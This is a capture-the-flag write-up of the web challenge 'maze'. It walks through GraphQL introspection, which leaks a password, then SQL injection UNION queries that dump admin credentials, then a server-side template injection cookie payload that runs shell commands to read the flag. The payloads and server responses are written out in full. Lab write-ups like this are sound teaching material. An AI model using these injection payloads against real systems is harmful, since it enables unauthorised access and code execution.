# maze**Category: Web**
After connecting to the maze server we are greeted with a login page:![login](images/login.png)
There didn't seem to be any easy way to get past this. A good thing to try here is to discover more endpoints. I thought the site might have a `robots.txt` file that might expose some more routes on the server. Accessing `/robots.txt` revealed the following config:```/sup3r_secr37_@p1```
This endpoint turned out to be a GraphQL api with [introspection](https://graphql.org/learn/introspection/) enabled. This lets us view what kinds of queries are available.  
Let's build a quick query to see what kind of data we can find:
```graphqlquery AllTraders {  allTraders {    edges {      node {        username        coins {          edges {            node {              body              title              password            }          }        }      }    }  }}```
```json{  "data": {    "allTraders": {      "edges": [        {          "node": {            "username": "pop_eax",            "coins": {              "edges": [                {                  "node": {                    "body": "XFT is the utility token that grants entry into the Offshift ecosystem",                    "title": "XFT",                    "password": "iigvj3xMVuSI9GzXhJJWNeI"                  }                }              ]            }          }        }      ]    }  }}```
Great, a password! Trying out `XFT` / `iigvj3xMVuSI9GzXhJJWNeI` as the login works, and we get to a dashboard:
![logged-in](images/logged-in.png)
There is a link at the top which takes us to an admin login page. We'll need to find credentials for this.
Meanwhile, clicking the first image takes us to `/trade?coin=xft` and provides us with some info on the coin.
```httpGET /trade?coin=xft HTTP/1.1``````html<div class="card-image">     <span>XFT</span> add</div><div class="card-content black"> An ERC-20 token, XFT is the utility token that grants entry into the Offshift ecosystem and gives users the ability to shift to and from zkAssets. It’s the public, tradeable side of the Offshift ecosystem, and its value is determined by the market.</div>```
An ERC-20 token, XFT is the utility token that grants entry into the Offshift ecosystem and gives users the ability to shift to and from zkAssets. It’s the public, tradeable side of the Offshift ecosystem, and its value is determined by the market.
The backend is probably running a query like `SELECT * FROM table WHERE name = {user-input}`. We can test for SQL injection by doing the following:
```httpGET /trade?coin=xft'+OR+1=1--+ HTTP/1.1```And indeed, we get the same response back with information about the XFT coin. The next step is to work out how many columns are on the current table. (We'll need to know this to form queries to exfiltrate data.) We can do this by using the `ORDER BY` keyword with different values to see which one fails to return anything:
Payload | HTTP Response Code---|---`xft'+ORDER+BY+1--+` | 200`xft'+ORDER+BY+2--+` | 200`xft'+ORDER+BY+3--+` | 500
Since all values work until 3, we know the current table has 2 columns. 
Next, let's find out what other tables are available by doing a `UNION SELECT` and grabbing values from sqlite_master:
```httpGET /trade?coin=xft'+union+select+'1',+tbl_name+FROM+sqlite_master+WHERE+type='table'+and+tbl_name+NOT+like+'sqlite_%'--+ HTTP/1.1``````html<div class="card-image">   <span>1</span> add</div><div class="card-content black"> admin</div>```
admin
Cool, `admin` is the first table to come back. Since we are looking for a way into the admin panel, this looks like a good place to investigate. Let's query for this table's structure:
```httpGET /trade?coin=xft'+union+select+'1',sql+FROM+sqlite_master+WHERE+type!='meta'+AND+sql+NOT+NULL+AND+name+='admin'--+ HTTP/1.1```
```html<div class="card-image">   <span>1</span> add</div><div class="card-content black"> CREATE TABLE admin(username TEXT NOT NULL, password TEXT NOT NULL)</div>```
CREATE TABLE admin(username TEXT NOT NULL, password TEXT NOT NULL)
Now that we know the table structure, we can pull values from it:```httpGET /trade?coin=xft'+union+select+username,password+FROM+admin--+ HTTP/1.1```
```html<div class="card-image">   <span>ADMIN</span> add</div><div class="card-content black"> p0To3zTQuvFDzjhO9</div>```
p0To3zTQuvFDzjhO9
Ok, now we have credentials, `admin` / `p0To3zTQuvFDzjhO9`. We can login to `/admin` and hopefully find a flag:
![admin](images/admin.png)
Hmm, no flag. We aren't out of the maze yet. 
I noticed that logging in as the admin set a cookie, `name: skid`. If we change the cookie value to a different name, that gets rendered in the chat interface instead. This made me think the page could be vulnerable to a server-side template injection attack. We can test this theory by providing a custom payload, `{{ 7*191 }}`, to see if it evaluates the expression:
![admin-injection](images/admin-injection.png)
Awesome. Using this payload from [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#exploit-the-ssti-by-calling-subprocesspopen), we can achieve remote code execution:
```httpGET /admin HTTP/1.1Cookie: session=<redacted>; name="{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}"``````html<script>var name = "Dockerfile__pycache__app.pycoins.dbflag.txtnoterequirements.txtrun.shsandboxstatictemplateswsgi.py";</script>```
```httpGET /admin HTTP/1.1Cookie: session=<redacted>; name="{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}"```
```html <script>var name = "flag{u_35c@p3d_7h3_m@z3_5ucc3ssfu77y9933}";</script>```
Maze escaped! ?